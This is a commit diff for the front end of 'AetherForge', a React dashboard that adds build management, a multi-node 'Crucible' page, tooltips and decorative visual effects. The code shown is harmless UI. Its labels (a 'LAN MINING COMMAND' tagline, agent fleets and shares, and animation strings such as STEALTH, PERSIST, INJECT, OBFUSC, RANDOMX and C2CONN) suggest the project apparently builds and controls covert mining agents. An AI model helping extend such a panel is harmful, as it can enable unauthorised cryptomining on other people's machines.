feat: Build Manager, Crucible ops deck, branding, and portable Cloudflare tunnel
Add Build Manager with pin-to-dropper, Crucible multi-node terminal with SSH probe/wake, Command Deck chart balance and pretty stats, AetherForge logo and sacred geometry UI, Field Guide refresh, and LAUNCH.bat Cloudflare MSI + token service install flow.
This commit is contained in:
@@ -3,12 +3,15 @@ import { Routes, Route, Navigate } from 'react-router-dom';
|
||||
import SessionGate from './components/SessionGate';
|
||||
import Layout from './components/Layout/Layout';
|
||||
import { WebSocketProvider } from './context/WebSocketProvider';
|
||||
import { ForgeProvider } from './context/ForgeContext';
|
||||
|
||||
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
|
||||
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
|
||||
const BuilderPage = lazy(() => import('./pages/BuilderPage'));
|
||||
const BuildManagerPage = lazy(() => import('./pages/BuildManagerPage'));
|
||||
const SettingsPage = lazy(() => import('./pages/SettingsPage'));
|
||||
const GuidePage = lazy(() => import('./pages/GuidePage'));
|
||||
const CruciblePage = lazy(() => import('./pages/CruciblePage'));
|
||||
|
||||
function PageFallback() {
|
||||
return (
|
||||
@@ -23,6 +26,7 @@ function App() {
|
||||
// WebSocketProvider mounts a single WS connection shared by all routes.
|
||||
// No page or component should call new WebSocket() directly — use useWebSocket().
|
||||
<WebSocketProvider>
|
||||
<ForgeProvider>
|
||||
<SessionGate>
|
||||
<Layout>
|
||||
<Suspense fallback={<PageFallback />}>
|
||||
@@ -32,12 +36,15 @@ function App() {
|
||||
<Route path="/agents" element={<AgentsPage />} />
|
||||
<Route path="/forge" element={<BuilderPage />} />
|
||||
<Route path="/builder" element={<Navigate to="/forge" replace />} />
|
||||
<Route path="/crucible" element={<CruciblePage />} />
|
||||
<Route path="/builds" element={<BuildManagerPage />} />
|
||||
<Route path="/guide" element={<GuidePage />} />
|
||||
<Route path="/settings" element={<SettingsPage />} />
|
||||
</Routes>
|
||||
</Suspense>
|
||||
</Layout>
|
||||
</SessionGate>
|
||||
</ForgeProvider>
|
||||
</WebSocketProvider>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -82,6 +82,13 @@ export const api = {
|
||||
});
|
||||
},
|
||||
|
||||
pinBuild: (buildId: string) =>
|
||||
fetchJSON<{ ok: boolean; pinned_id: string }>(`/builds/${buildId}/pin`, { method: 'PUT' }),
|
||||
unpinAll: () =>
|
||||
fetchJSON<{ ok: boolean }>('/builds/pin', { method: 'DELETE' }),
|
||||
deleteBuild: (buildId: string) =>
|
||||
fetchJSON<{ ok: boolean; deleted_id: string }>(`/builds/${buildId}`, { method: 'DELETE' }),
|
||||
|
||||
buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
|
||||
buildArtifactUrl: (buildId: string, fileName: string) =>
|
||||
`${API_BASE}/builds/${buildId}/artifact/${encodeURIComponent(fileName)}`,
|
||||
|
||||
BIN
server/web/src/assets/af-logo.png
Normal file
BIN
server/web/src/assets/af-logo.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 90 KiB |
@@ -101,3 +101,23 @@
|
||||
height: 80px;
|
||||
animation: gear-spin 45s linear infinite reverse;
|
||||
}
|
||||
|
||||
/* ── Sacred geometry watermark ── */
|
||||
.ambient-sacred-geo {
|
||||
position: absolute;
|
||||
/* Centre in the main content area (offset for the 260px sidebar) */
|
||||
left: calc(260px + (100vw - 260px) / 2 - min(38vw, 680px) / 2);
|
||||
top: 50%;
|
||||
transform: translateY(-50%);
|
||||
width: min(38vw, 680px);
|
||||
height: min(38vw, 680px);
|
||||
opacity: 0.07;
|
||||
animation: sacred-geo-rotate 120s linear infinite;
|
||||
pointer-events: none;
|
||||
filter: drop-shadow(0 0 4px rgba(201, 162, 39, 0.3));
|
||||
}
|
||||
|
||||
@keyframes sacred-geo-rotate {
|
||||
from { transform: translateY(-50%) rotate(0deg); }
|
||||
to { transform: translateY(-50%) rotate(360deg); }
|
||||
}
|
||||
|
||||
@@ -1,5 +1,66 @@
|
||||
import './AmbientBackground.css';
|
||||
|
||||
/** Slow-rotating sacred geometry SVG — Flower of Life circles inscribed in a pentagram ring */
|
||||
function SacredGeometry() {
|
||||
const cx = 50;
|
||||
const cy = 50;
|
||||
const R = 32; // outer circle radius
|
||||
|
||||
// Six-petal Flower of Life petal centres (offset by R from centre)
|
||||
const petalAngles = [0, 60, 120, 180, 240, 300];
|
||||
const petals = petalAngles.map((deg) => {
|
||||
const rad = (deg * Math.PI) / 180;
|
||||
return { x: cx + R * Math.cos(rad), y: cy + R * Math.sin(rad) };
|
||||
});
|
||||
|
||||
// 5-pointed star vertices inscribed at radius R*1.15
|
||||
const starR = R * 1.15;
|
||||
const starPts = Array.from({ length: 5 }, (_, i) => {
|
||||
const rad = ((i * 72 - 90) * Math.PI) / 180;
|
||||
return { x: cx + starR * Math.cos(rad), y: cy + starR * Math.sin(rad) };
|
||||
});
|
||||
const starPath = starPts.map((p, i) => (i === 0 ? `M${p.x},${p.y}` : `L${p.x},${p.y}`)).join(' ') + ' Z';
|
||||
|
||||
// Inner triangles (upward + downward — Star of David inner ring)
|
||||
const triR = R * 0.7;
|
||||
const triUp = [0, 120, 240].map((d) => {
|
||||
const rad = ((d - 90) * Math.PI) / 180;
|
||||
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
|
||||
}).join(' ');
|
||||
const triDown = [60, 180, 300].map((d) => {
|
||||
const rad = ((d - 90) * Math.PI) / 180;
|
||||
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
|
||||
}).join(' ');
|
||||
|
||||
return (
|
||||
<svg className="ambient-sacred-geo" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg" aria-hidden>
|
||||
<g opacity="0.55">
|
||||
{/* Outer ring */}
|
||||
<circle cx={cx} cy={cy} r={R * 1.35} fill="none" stroke="#c9a227" strokeWidth="0.18" strokeDasharray="1.2 1.8" />
|
||||
{/* Middle ring */}
|
||||
<circle cx={cx} cy={cy} r={R} fill="none" stroke="#c9a227" strokeWidth="0.22" />
|
||||
{/* Inner ring */}
|
||||
<circle cx={cx} cy={cy} r={R * 0.5} fill="none" stroke="#c9a227" strokeWidth="0.18" strokeDasharray="0.6 1.2" />
|
||||
{/* Flower of Life petal circles */}
|
||||
{petals.map((p, i) => (
|
||||
<circle key={i} cx={p.x} cy={p.y} r={R} fill="none" stroke="#c9a227" strokeWidth="0.16" opacity="0.7" />
|
||||
))}
|
||||
{/* Pentagon star */}
|
||||
<path d={starPath} fill="none" stroke="#ff8c00" strokeWidth="0.2" strokeLinejoin="round" opacity="0.6" />
|
||||
{/* Merkaba triangles */}
|
||||
<polygon points={triUp} fill="none" stroke="#c9a227" strokeWidth="0.2" opacity="0.8" />
|
||||
<polygon points={triDown} fill="none" stroke="#c9a227" strokeWidth="0.2" opacity="0.8" />
|
||||
{/* Centre dot */}
|
||||
<circle cx={cx} cy={cy} r="0.6" fill="#c9a227" opacity="0.9" />
|
||||
{/* Spoke lines to star points */}
|
||||
{starPts.map((p, i) => (
|
||||
<line key={i} x1={cx} y1={cy} x2={p.x} y2={p.y} stroke="#c9a227" strokeWidth="0.1" opacity="0.35" />
|
||||
))}
|
||||
</g>
|
||||
</svg>
|
||||
);
|
||||
}
|
||||
|
||||
export default function AmbientBackground() {
|
||||
return (
|
||||
<div className="ambient-bg" aria-hidden>
|
||||
@@ -11,6 +72,8 @@ export default function AmbientBackground() {
|
||||
<div className="ambient-scanline" />
|
||||
<div className="ambient-gear ambient-gear-1" />
|
||||
<div className="ambient-gear ambient-gear-2" />
|
||||
{/* Sacred geometry watermark — centre of the main content area */}
|
||||
<SacredGeometry />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -1,9 +1,14 @@
|
||||
.help-tip {
|
||||
.help-tip-trigger {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
margin-left: 0.35rem;
|
||||
padding: 0;
|
||||
border: none;
|
||||
background: none;
|
||||
cursor: help;
|
||||
vertical-align: middle;
|
||||
line-height: 1;
|
||||
}
|
||||
|
||||
.help-tip-icon {
|
||||
@@ -19,6 +24,55 @@
|
||||
font-size: 0.6875rem;
|
||||
font-weight: 700;
|
||||
box-shadow: 0 0 8px rgba(0, 245, 255, 0.2);
|
||||
transition: background 0.15s, box-shadow 0.15s, border-color 0.15s;
|
||||
}
|
||||
|
||||
.help-tip-trigger:hover .help-tip-icon,
|
||||
.help-tip-trigger:focus-visible .help-tip-icon {
|
||||
background: rgba(0, 245, 255, 0.22);
|
||||
border-color: rgba(0, 245, 255, 0.65);
|
||||
box-shadow: 0 0 12px rgba(0, 245, 255, 0.45);
|
||||
}
|
||||
|
||||
.help-tip-label {
|
||||
font-size: 0.75rem;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.help-tip-popup {
|
||||
position: fixed;
|
||||
z-index: 10000;
|
||||
max-width: 280px;
|
||||
padding: 0.55rem 0.75rem;
|
||||
font-size: 0.78rem;
|
||||
line-height: 1.45;
|
||||
color: #e8f4f8;
|
||||
background: rgba(6, 14, 18, 0.97);
|
||||
border: 1px solid rgba(0, 245, 255, 0.45);
|
||||
border-radius: 4px;
|
||||
box-shadow:
|
||||
0 4px 24px rgba(0, 0, 0, 0.55),
|
||||
0 0 16px rgba(0, 245, 255, 0.12);
|
||||
pointer-events: auto;
|
||||
animation: help-tip-in 0.12s ease-out;
|
||||
}
|
||||
|
||||
.help-tip-popup-pinned {
|
||||
border-color: rgba(255, 180, 0, 0.55);
|
||||
box-shadow:
|
||||
0 4px 24px rgba(0, 0, 0, 0.55),
|
||||
0 0 12px rgba(255, 160, 0, 0.2);
|
||||
}
|
||||
|
||||
@keyframes help-tip-in {
|
||||
from {
|
||||
opacity: 0;
|
||||
transform: translateY(-4px);
|
||||
}
|
||||
to {
|
||||
opacity: 1;
|
||||
transform: translateY(0);
|
||||
}
|
||||
}
|
||||
|
||||
.cheat-sheet-item {
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
import { useCallback, useEffect, useRef, useState } from 'react';
|
||||
import { createPortal } from 'react-dom';
|
||||
import { FIELD_HELP } from '../help/settingHelp';
|
||||
import '../components/HelpTip.css';
|
||||
import './HelpTip.css';
|
||||
|
||||
interface HelpTipProps {
|
||||
field: string;
|
||||
@@ -8,17 +10,111 @@ interface HelpTipProps {
|
||||
|
||||
export function HelpTip({ field, label }: HelpTipProps) {
|
||||
const text = FIELD_HELP[field];
|
||||
const triggerRef = useRef<HTMLButtonElement>(null);
|
||||
const popupRef = useRef<HTMLDivElement>(null);
|
||||
const [open, setOpen] = useState(false);
|
||||
const [pinned, setPinned] = useState(false);
|
||||
const [pos, setPos] = useState({ top: 0, left: 0 });
|
||||
|
||||
const reposition = useCallback(() => {
|
||||
const el = triggerRef.current;
|
||||
if (!el) return;
|
||||
const rect = el.getBoundingClientRect();
|
||||
const popupW = 280;
|
||||
let left = rect.left;
|
||||
if (left + popupW > window.innerWidth - 12) {
|
||||
left = window.innerWidth - popupW - 12;
|
||||
}
|
||||
left = Math.max(12, left);
|
||||
setPos({ top: rect.bottom + 8, left });
|
||||
}, []);
|
||||
|
||||
const show = useCallback(() => {
|
||||
reposition();
|
||||
setOpen(true);
|
||||
}, [reposition]);
|
||||
|
||||
const hide = useCallback(() => {
|
||||
if (!pinned) setOpen(false);
|
||||
}, [pinned]);
|
||||
|
||||
const togglePin = useCallback(
|
||||
(e: React.MouseEvent) => {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
if (pinned) {
|
||||
setPinned(false);
|
||||
setOpen(false);
|
||||
} else {
|
||||
reposition();
|
||||
setPinned(true);
|
||||
setOpen(true);
|
||||
}
|
||||
},
|
||||
[pinned, reposition],
|
||||
);
|
||||
|
||||
useEffect(() => {
|
||||
if (!pinned) return;
|
||||
const onDocClick = (e: MouseEvent) => {
|
||||
const t = e.target as Node;
|
||||
if (triggerRef.current?.contains(t) || popupRef.current?.contains(t)) return;
|
||||
setPinned(false);
|
||||
setOpen(false);
|
||||
};
|
||||
document.addEventListener('mousedown', onDocClick);
|
||||
return () => document.removeEventListener('mousedown', onDocClick);
|
||||
}, [pinned]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!open) return;
|
||||
const onScroll = () => reposition();
|
||||
window.addEventListener('scroll', onScroll, true);
|
||||
window.addEventListener('resize', onScroll);
|
||||
return () => {
|
||||
window.removeEventListener('scroll', onScroll, true);
|
||||
window.removeEventListener('resize', onScroll);
|
||||
};
|
||||
}, [open, reposition]);
|
||||
|
||||
if (!text) return null;
|
||||
|
||||
return (
|
||||
<span className="help-tip" title={text} aria-label={text}>
|
||||
<span className="help-tip-icon">?</span>
|
||||
{label && <span className="help-tip-label">{label}</span>}
|
||||
</span>
|
||||
<>
|
||||
<button
|
||||
ref={triggerRef}
|
||||
type="button"
|
||||
className="help-tip-trigger"
|
||||
aria-label={`Help: ${field}`}
|
||||
aria-expanded={open}
|
||||
onMouseEnter={show}
|
||||
onMouseLeave={hide}
|
||||
onClick={togglePin}
|
||||
onFocus={show}
|
||||
onBlur={hide}
|
||||
>
|
||||
<span className="help-tip-icon">?</span>
|
||||
{label && <span className="help-tip-label">{label}</span>}
|
||||
</button>
|
||||
{open &&
|
||||
createPortal(
|
||||
<div
|
||||
ref={popupRef}
|
||||
className={`help-tip-popup${pinned ? ' help-tip-popup-pinned' : ''}`}
|
||||
style={{ top: pos.top, left: pos.left }}
|
||||
role="tooltip"
|
||||
onMouseEnter={() => setOpen(true)}
|
||||
onMouseLeave={hide}
|
||||
>
|
||||
{text}
|
||||
</div>,
|
||||
document.body,
|
||||
)}
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
export function FieldHint({ field }: { field: string }) {
|
||||
const text = FIELD_HELP[field];
|
||||
if (!text) return null;
|
||||
return <span className="form-hint">{text}</span>;
|
||||
/** @deprecated Use HelpTip on the label instead — hints are shown on ? hover/click only. */
|
||||
export function FieldHint(_props: { field: string }) {
|
||||
return null;
|
||||
}
|
||||
|
||||
@@ -43,25 +43,43 @@
|
||||
|
||||
.logo-emblem {
|
||||
position: relative;
|
||||
width: 48px;
|
||||
height: 48px;
|
||||
width: 52px;
|
||||
height: 52px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.logo-gear {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
border: 2px dashed rgba(201, 162, 39, 0.4);
|
||||
inset: -4px;
|
||||
border: 1px solid rgba(201, 162, 39, 0.22);
|
||||
border-radius: 50%;
|
||||
animation: gear-spin 20s linear infinite;
|
||||
animation: gear-spin 30s linear infinite;
|
||||
}
|
||||
|
||||
.logo-core {
|
||||
font-size: 1.5rem;
|
||||
filter: drop-shadow(0 0 8px var(--neon-amber));
|
||||
.logo-gear::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
inset: 5px;
|
||||
border: 1px dashed rgba(201, 162, 39, 0.14);
|
||||
border-radius: 50%;
|
||||
animation: gear-spin 18s linear infinite reverse;
|
||||
}
|
||||
|
||||
.logo-af-img {
|
||||
width: 48px;
|
||||
height: 48px;
|
||||
object-fit: contain;
|
||||
border-radius: 50%;
|
||||
filter: drop-shadow(0 0 10px rgba(201, 162, 39, 0.7)) drop-shadow(0 0 3px rgba(255, 100, 0, 0.5));
|
||||
z-index: 1;
|
||||
transition: filter 0.3s ease;
|
||||
}
|
||||
|
||||
.logo-af-img:hover {
|
||||
filter: drop-shadow(0 0 16px rgba(201, 162, 39, 0.95)) drop-shadow(0 0 6px rgba(255, 140, 0, 0.7));
|
||||
}
|
||||
|
||||
.logo-text-block {
|
||||
|
||||
@@ -4,6 +4,8 @@ import AmbientBackground from '../Ambient/AmbientBackground';
|
||||
import SystemStatusBar from '../Visual/SystemStatusBar';
|
||||
import { useWebSocket } from '../../hooks/useWebSocket';
|
||||
import MatrixRain from './MatrixRain';
|
||||
import afLogo from '../../assets/af-logo.png';
|
||||
import CursorFire from '../Visual/CursorFire';
|
||||
import './Layout.css';
|
||||
|
||||
interface LayoutProps {
|
||||
@@ -13,7 +15,9 @@ interface LayoutProps {
|
||||
const NAV = [
|
||||
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
|
||||
{ to: '/agents', label: 'Fleet Roster', icon: 'fleet' },
|
||||
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
|
||||
{ to: '/forge', label: 'Forge', icon: 'forge' },
|
||||
{ to: '/builds', label: 'Builds', icon: 'builds' },
|
||||
{ to: '/guide', label: 'Field Guide', icon: 'guide' },
|
||||
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
|
||||
] as const;
|
||||
@@ -41,6 +45,15 @@ function NavIcon({ type }: { type: string }) {
|
||||
<path d="M8 16l-2 4 4-2" />
|
||||
</svg>
|
||||
);
|
||||
case 'builds':
|
||||
return (
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||
<rect x="3" y="14" width="18" height="5" rx="1" />
|
||||
<rect x="3" y="8" width="18" height="5" rx="1" />
|
||||
<rect x="3" y="2" width="18" height="5" rx="1" />
|
||||
<path d="M7 4.5h10M7 10.5h10M7 16.5h10" strokeOpacity="0.35" />
|
||||
</svg>
|
||||
);
|
||||
case 'guide':
|
||||
return (
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||
@@ -49,6 +62,15 @@ function NavIcon({ type }: { type: string }) {
|
||||
<path d="M8 7h8M8 11h6" />
|
||||
</svg>
|
||||
);
|
||||
case 'crucible':
|
||||
return (
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||
<path d="M8 3h8l1 5H7L8 3z" />
|
||||
<path d="M7 8c0 5 2 8 5 10c3-2 5-5 5-10" />
|
||||
<path d="M4 21h16" />
|
||||
<path d="M10 12l1.5 2L14 11" />
|
||||
</svg>
|
||||
);
|
||||
default:
|
||||
return (
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||
@@ -118,17 +140,18 @@ export default function Layout({ children }: LayoutProps) {
|
||||
|
||||
return (
|
||||
<div className="layout">
|
||||
<CursorFire />
|
||||
<AmbientBackground />
|
||||
<nav className="sidebar">
|
||||
<div className="sidebar-header">
|
||||
<div className="logo">
|
||||
<div className="logo-emblem">
|
||||
<span className="logo-gear" />
|
||||
<span className="logo-core">⛏</span>
|
||||
<img src={afLogo} alt="AetherForge" className="logo-af-img" />
|
||||
</div>
|
||||
<div className="logo-text-block">
|
||||
<span className="logo-text">AetherForge</span>
|
||||
<span className="logo-tagline font-tech">LAN MINING COMMAND</span>
|
||||
<span className="logo-tagline font-tech">COMMAND DECK</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import { useEffect, useRef } from 'react';
|
||||
import { useWebSocket } from '../../hooks/useWebSocket';
|
||||
import { useForge } from '../../context/ForgeContext';
|
||||
|
||||
// Full matrix alphabet: katakana + hex + braille dots for visual density
|
||||
const KATAKANA =
|
||||
@@ -18,10 +19,22 @@ interface Column {
|
||||
livePos: number;
|
||||
}
|
||||
|
||||
const FORGE_STRINGS = [
|
||||
'COMPILING', 'LINKING', 'GARBLE', 'GO BUILD', 'INJECT',
|
||||
'STEALTH', 'PERSIST', 'ENCRYPT', 'OBFUSC', 'PACKAGE',
|
||||
'WORKER', 'FORGE', 'SIGN', 'BUNDLE', 'AGENT',
|
||||
'RANDOMX', 'STRATUM', 'C2CONN', 'DEPLOY',
|
||||
];
|
||||
|
||||
export default function MatrixRain() {
|
||||
const canvasRef = useRef<HTMLCanvasElement>(null);
|
||||
const wrapRef = useRef<HTMLDivElement>(null);
|
||||
const { agents, recentShares, commandResults } = useWebSocket();
|
||||
const { forging, stage } = useForge();
|
||||
const forgingRef = useRef(false);
|
||||
const stageRef = useRef('');
|
||||
forgingRef.current = forging;
|
||||
stageRef.current = stage;
|
||||
|
||||
// ── Live data pool ──────────────────────────────────────────────────────────
|
||||
// Collect strings from the fleet that will be injected character-by-character
|
||||
@@ -40,6 +53,13 @@ export default function MatrixRain() {
|
||||
for (const r of (commandResults ?? []).slice(-5)) {
|
||||
if (r.action) pool.push(r.action.toUpperCase().padEnd(8, '_'));
|
||||
}
|
||||
// When forging, flood the pool with build strings so they dominate the rain
|
||||
if (forgingRef.current) {
|
||||
pool.push(...FORGE_STRINGS);
|
||||
if (stageRef.current) {
|
||||
pool.push(stageRef.current.replace(/[^A-Z0-9]/gi, '').toUpperCase().slice(0, 16));
|
||||
}
|
||||
}
|
||||
livePoolRef.current = pool.length > 0 ? pool : ['AETHERFORGE', 'MINING', '00E5FF'];
|
||||
}, [agents, recentShares, commandResults]);
|
||||
|
||||
@@ -109,23 +129,27 @@ export default function MatrixRain() {
|
||||
|
||||
let raf: number;
|
||||
let lastTime = 0;
|
||||
const FPS = 24; // keep CPU gentle
|
||||
const MS_PER_FRAME = 1000 / FPS;
|
||||
|
||||
const draw = (ts: number) => {
|
||||
raf = requestAnimationFrame(draw);
|
||||
if (ts - lastTime < MS_PER_FRAME) return;
|
||||
const isForging = forgingRef.current;
|
||||
const targetFps = isForging ? 50 : 24;
|
||||
const msPerFrame = 1000 / targetFps;
|
||||
if (ts - lastTime < msPerFrame) return;
|
||||
lastTime = ts;
|
||||
|
||||
const W = canvas.width;
|
||||
const H = canvas.height;
|
||||
|
||||
// Fade trail
|
||||
ctx.fillStyle = 'rgba(0,0,0,0.18)';
|
||||
// Forge mode: less fade = longer glowing trails; normal: quick fade
|
||||
ctx.fillStyle = isForging ? 'rgba(0,0,0,0.10)' : 'rgba(0,0,0,0.18)';
|
||||
ctx.fillRect(0, 0, W, H);
|
||||
|
||||
ctx.font = `${FONT_SIZE}px 'Courier New', monospace`;
|
||||
|
||||
// Speed multiplier: 3× faster while forging
|
||||
const speedMult = isForging ? 3.2 : 1.0;
|
||||
|
||||
for (let i = 0; i < cols.length; i++) {
|
||||
const col = cols[i];
|
||||
const x = i * FONT_SIZE;
|
||||
@@ -140,33 +164,52 @@ export default function MatrixRain() {
|
||||
ch = ALPHABET[Math.floor(Math.random() * ALPHABET.length)];
|
||||
}
|
||||
|
||||
// Head character — bright white flash
|
||||
ctx.fillStyle = 'rgba(255,255,255,0.95)';
|
||||
ctx.fillText(ch, x, y * FONT_SIZE);
|
||||
|
||||
// Second char — bright cyan-green (neon)
|
||||
if (y > 1) {
|
||||
ctx.fillStyle = '#00ff41';
|
||||
ctx.fillText(
|
||||
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
|
||||
x,
|
||||
(y - 1) * FONT_SIZE,
|
||||
);
|
||||
if (isForging) {
|
||||
// Forge palette: bright amber/orange head, orange body
|
||||
ctx.fillStyle = 'rgba(255,220,80,0.98)';
|
||||
ctx.fillText(ch, x, y * FONT_SIZE);
|
||||
if (y > 1) {
|
||||
ctx.fillStyle = '#ff8c00';
|
||||
ctx.fillText(
|
||||
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
|
||||
x,
|
||||
(y - 1) * FONT_SIZE,
|
||||
);
|
||||
}
|
||||
// Extra mid-column glyph density during forge
|
||||
if (Math.random() < 0.12) {
|
||||
const dimY = Math.floor(Math.random() * Math.max(1, y - 2));
|
||||
ctx.fillStyle = 'rgba(255,120,0,0.35)';
|
||||
ctx.fillText(
|
||||
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
|
||||
x,
|
||||
dimY * FONT_SIZE,
|
||||
);
|
||||
}
|
||||
} else {
|
||||
// Normal palette: white head, cyan-green body
|
||||
ctx.fillStyle = 'rgba(255,255,255,0.95)';
|
||||
ctx.fillText(ch, x, y * FONT_SIZE);
|
||||
if (y > 1) {
|
||||
ctx.fillStyle = '#00ff41';
|
||||
ctx.fillText(
|
||||
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
|
||||
x,
|
||||
(y - 1) * FONT_SIZE,
|
||||
);
|
||||
}
|
||||
if (Math.random() < 0.04) {
|
||||
const dimY = Math.floor(Math.random() * Math.max(1, y - 2));
|
||||
ctx.fillStyle = 'rgba(0,180,60,0.22)';
|
||||
ctx.fillText(
|
||||
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
|
||||
x,
|
||||
dimY * FONT_SIZE,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Dim previous chars handled by fade overlay above.
|
||||
// Occasionally render a mid-column dim glyph for density.
|
||||
if (Math.random() < 0.04) {
|
||||
const dimY = Math.floor(Math.random() * (y - 2));
|
||||
ctx.fillStyle = 'rgba(0,180,60,0.22)';
|
||||
ctx.fillText(
|
||||
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
|
||||
x,
|
||||
dimY * FONT_SIZE,
|
||||
);
|
||||
}
|
||||
|
||||
col.y += col.speed;
|
||||
col.y += col.speed * speedMult;
|
||||
if (col.y * FONT_SIZE > H && Math.random() > 0.96) {
|
||||
col.y = Math.random() * -20;
|
||||
col.speed = 0.3 + Math.random() * 0.55;
|
||||
@@ -179,13 +222,16 @@ export default function MatrixRain() {
|
||||
const logs = eventLogRef.current;
|
||||
const lineH = FONT_SIZE + 2;
|
||||
ctx.font = `${FONT_SIZE - 1}px 'Courier New', monospace`;
|
||||
const isForging2 = forgingRef.current;
|
||||
for (let j = 0; j < logs.length; j++) {
|
||||
const entry = logs[logs.length - 1 - j];
|
||||
const oy = H - 6 - j * lineH;
|
||||
if (oy < 0) break;
|
||||
ctx.fillStyle = `rgba(0,255,65,${(entry.alpha * 0.55).toFixed(2)})`;
|
||||
const logColor = isForging2
|
||||
? `rgba(255,160,0,${(entry.alpha * 0.75).toFixed(2)})`
|
||||
: `rgba(0,255,65,${(entry.alpha * 0.55).toFixed(2)})`;
|
||||
ctx.fillStyle = logColor;
|
||||
ctx.fillText(`> ${entry.text}`, 4, oy);
|
||||
// fade over time
|
||||
entry.alpha = Math.max(0, entry.alpha - 0.003);
|
||||
}
|
||||
};
|
||||
|
||||
@@ -44,10 +44,19 @@
|
||||
background: linear-gradient(135deg, var(--neon-purple), var(--neon-cyan) 100%);
|
||||
}
|
||||
|
||||
.neon-card-gold .neon-card-rim {
|
||||
background: linear-gradient(135deg, var(--brass-light), var(--brass-dark) 100%);
|
||||
opacity: 0.9;
|
||||
}
|
||||
|
||||
.neon-card-cyan:hover {
|
||||
box-shadow: var(--shadow-panel), var(--shadow-neon-cyan);
|
||||
}
|
||||
|
||||
.neon-card-gold:hover {
|
||||
box-shadow: var(--shadow-panel), 0 0 20px rgba(232, 197, 71, 0.45);
|
||||
}
|
||||
|
||||
.neon-card-magenta:hover {
|
||||
box-shadow: var(--shadow-panel), var(--shadow-neon-magenta);
|
||||
}
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import { ReactNode, CSSProperties } from 'react';
|
||||
import './NeonCard.css';
|
||||
|
||||
type Accent = 'cyan' | 'magenta' | 'amber' | 'green' | 'purple' | 'brass';
|
||||
type Accent = 'cyan' | 'magenta' | 'amber' | 'green' | 'purple' | 'brass' | 'gold';
|
||||
|
||||
interface NeonCardProps {
|
||||
children: ReactNode;
|
||||
|
||||
136
server/web/src/components/Visual/CursorFire.tsx
Normal file
136
server/web/src/components/Visual/CursorFire.tsx
Normal file
@@ -0,0 +1,136 @@
|
||||
import { useEffect, useRef } from 'react';
|
||||
|
||||
interface Particle {
|
||||
x: number;
|
||||
y: number;
|
||||
vx: number;
|
||||
vy: number;
|
||||
life: number; // 1 → 0
|
||||
size: number;
|
||||
decay: number;
|
||||
}
|
||||
|
||||
export default function CursorFire() {
|
||||
const canvasRef = useRef<HTMLCanvasElement>(null);
|
||||
const particles = useRef<Particle[]>([]);
|
||||
const mouse = useRef({ x: -9999, y: -9999, moved: false });
|
||||
const rafRef = useRef<number>(0);
|
||||
|
||||
useEffect(() => {
|
||||
const canvas = canvasRef.current;
|
||||
if (!canvas) return;
|
||||
const ctx = canvas.getContext('2d');
|
||||
if (!ctx) return;
|
||||
|
||||
const resize = () => {
|
||||
canvas.width = window.innerWidth;
|
||||
canvas.height = window.innerHeight;
|
||||
};
|
||||
resize();
|
||||
window.addEventListener('resize', resize);
|
||||
|
||||
const onMove = (e: MouseEvent) => {
|
||||
mouse.current = { x: e.clientX, y: e.clientY, moved: true };
|
||||
};
|
||||
window.addEventListener('mousemove', onMove);
|
||||
|
||||
const emit = () => {
|
||||
const { x, y } = mouse.current;
|
||||
// Emit 6 particles per frame at cursor
|
||||
for (let i = 0; i < 6; i++) {
|
||||
const spread = 8;
|
||||
particles.current.push({
|
||||
x: x + (Math.random() - 0.5) * spread,
|
||||
y: y + (Math.random() - 0.5) * (spread * 0.5),
|
||||
vx: (Math.random() - 0.5) * 1.2,
|
||||
vy: -(Math.random() * 2.8 + 1.8),
|
||||
life: 1,
|
||||
size: Math.random() * 14 + 7,
|
||||
decay: Math.random() * 0.022 + 0.016,
|
||||
});
|
||||
}
|
||||
// Cap particle count for perf
|
||||
if (particles.current.length > 400) {
|
||||
particles.current = particles.current.slice(-400);
|
||||
}
|
||||
};
|
||||
|
||||
const draw = () => {
|
||||
ctx.clearRect(0, 0, canvas.width, canvas.height);
|
||||
|
||||
// Additive blending makes overlapping particles look white-hot
|
||||
ctx.globalCompositeOperation = 'screen';
|
||||
|
||||
emit();
|
||||
|
||||
const alive: Particle[] = [];
|
||||
for (const p of particles.current) {
|
||||
// Turbulent horizontal drift
|
||||
p.vx += (Math.random() - 0.5) * 0.35;
|
||||
// Slight drag on vx
|
||||
p.vx *= 0.97;
|
||||
// Upward acceleration (heat rises)
|
||||
